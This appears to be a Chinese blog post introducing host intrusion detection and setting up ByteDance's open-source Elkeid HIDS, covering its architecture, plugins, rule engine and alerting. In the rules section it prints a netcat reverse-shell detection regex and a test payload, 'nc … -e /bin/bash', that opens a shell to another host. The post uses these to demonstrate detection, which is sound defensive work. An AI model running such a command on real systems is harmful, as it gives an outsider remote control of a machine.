主机安全-开源HIDS字节跳动Elkeid安装使用

目录


概述

什么是HIDS

HIDS( host-based intrusion detection system,基于主机的入侵检测系统),通过监测主机上的进程、文件、网络等信息来识别入侵风险。

HIDS与NIDS的区别

NIDS基于网络流量来进行入侵检测,和HIDS相比,实时性更高,对主机没有性能影响。一般装在网关等地方获取镜像流量即可,无需安装在每台主机节点,开源NIDS有Suricata等。

EDR、XDR是啥?

EDR(Endpoint Detection and Response,端点检测与响应),相较于传统的HIDS,EDR增加了响应 的部分,例如添加SOAR(security orchestration, automation and response,安全编排、自动化与响应系统)、止损手段。

XDR( eXtended Detection and Response ,可扩展检测与响应),相较于EDR,能够结合多个数据源(云原生安全、电子邮件安全等)。

Elkeid

架构

  • Elkeid Agent:代理,与Manager节点通信,负责上传日志等信息,管理组件。
  • Elkeid Driver:负责 Linux Kernel 层采集数据,兼容容器,并能够检测常见 Rootkit。
  • Elkeid RASP:支持 CPython、Golang、JVM、NodeJS、PHP 的运行时数据采集探针,支持动态注入到运行时。
  • Elkeid HUB:策略引擎。
  • AgentCenter:收集Agent 数据,写入到消息队列,给Agent下发指令。
  • ServiceDiscovery:服务发现。
  • 实时计算模块:消费消息队列数据,进行分析和检测。
  • 离线计算模块:消费消息队列数据
  • Manager:管理各个模块。

Elkeid Agent && Agent center

参考关于 Elkeid Agent

Agent具有数据通信、资源监控、组件版本控制、文件传输、机器基础信息采集等功能。

Agent拥有多个Plugins,是Agent的插件,Agent的子进程,可以由多种语言实现。

  • Driver Plugin: 负责与 Elkeid Driver 通信,处理其传递的数据等
  • Collector Plugin: 负责端上的资产/关键信息采集工作,如用户,定时任务,包信息等
  • Journal Watcher: 负责监测systemd日志的插件,目前支持ssh相关日志采集与上报
  • Scanner Plugin:负责在端上进行静态检测恶意文件的插件,支持
  • Yara RASP Plugin: 分析系统进程运行时,上报运行时信息,处理下发的Attach 指令,收集各个探针上报的数据
  • Baseline Plugin: 负责在端上进行基线风险识别的插件

Agent Center基于gRPC + ProtoBuf通信,具有以下功能

  • 限流:最大链接数保护
  • 负载均衡:SD服务发现+Manager动态控制
  • 通信链路安全:SSL+HTTPS
  • 上报数据Kafka

Elkeid Driver

参考关于 Elkeid Driver

Elkeid Driver 主要通过 Kprobe Hook Kernel Function 来提供丰富而准确的数据收集 功能,包括内核级进程执行探测,特权升级监控,网络审计等等。,并且支持 Linux Namespace。

主要是Plugins、Hook、Filter、Anti-Rootkit四个功能。

Elkeid RASP

参考Golang-RASP

RASP(Runtime application self-protection,实时应用自我防护),通过探针的方式注入到应用中,在运行时实时防护。

Elkeid HUB

参考:Elkeid HUB

  • INPUT 数据输入层,社区版仅支持Kafka
  • RULEENGINE/RULESET 对数据进行检测/外部数据联动/数据处理的核心组件
  • OUTPUT 数据输出层,社区版仅支持Kafka/ES
  • SMITH_DSL 用来描述数据流转关系

Service Discovery

服务发现,发现Agent。

负载均衡,

Manager

任务下发,分布式任务分发系统。

安装

根据Elkeid 完整部署进行部署。

数据采集

参考:数据接入指南

规则&告警

参考:HIDS开源策略列表

以hids_detect的reverse_shell_detect_argv为例,正则如下:

powershell 复制代码
(?:\bnc(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.openbsd(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.traditional(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.linux(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnetcat(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*))

攻击payload如下:

powershell 复制代码
nc 172.19.0.3 8888 -e /bin/bash

告警如下:

配置了一个企微机器人,收到消息:

参考

HIDS与NIDS的区别
crowdstrike-EDR
paloalto-XDR
五款流行开源的 HIDS 系统简单介绍
最后的防线:三款开源HIDS应用对比评估
腾讯自研HIDS「洋葱」后台上云架构演进实践

github-ossec
github-yulong-hids-archived
github-Elkeid

wazuh
github-wazuh
开源安全平台Wazuh的部署与体验

tripwire

suricate
github-suricata

奇安信-终端安全响应系统(EDR)

相关推荐
微财经观圈44 分钟前
酒店配送机器人如何选型:普渡和优地从安全到场景的全面对比
大数据·安全·机器人
是隼人1 小时前
buuctf-pwn [HarekazeCTF2019]baby_rop2(64位ret2libc)题解(学习过程持续更新)
c语言·学习·安全·pwn入门·ctf入门
马立杰1 小时前
IE241210_路由安全技术(三层安全)
网络·安全
马立杰2 小时前
IE241211_路由安全技术(三层安全)
网络·安全·智能路由器
迪康Defender2 小时前
公用电脑责任追溯难?迪康端点安全一体化管理系统用户模式详解
java·运维·开发语言·网络·其他·安全
迪康Defender2 小时前
迪康端点安全一体化管理系统文档安全:构建企业文档资产全链路防护体系
运维·网络·安全·web安全·终端安全管理
pandownload23 小时前
网盘不限速工具有哪些?2026实测PanDownload多线程提速方案
开源
山东科恩光电3 小时前
科恩隐卫-KZS-01系统实现注塑生产的安全与高效兼顾
安全
tedcloud1235 小时前
OpenLogi 怎么搭建?用 Rust 打造一个轻量的 Logitech 外设管理工具
linux·运维·服务器·开发语言·后端·rust·开源
DolphinDB智臾科技5 小时前
不懂复杂金融数据,也能让 AI 做投研:DolphinDB 股票分析 MCP 已开源
人工智能·金融·开源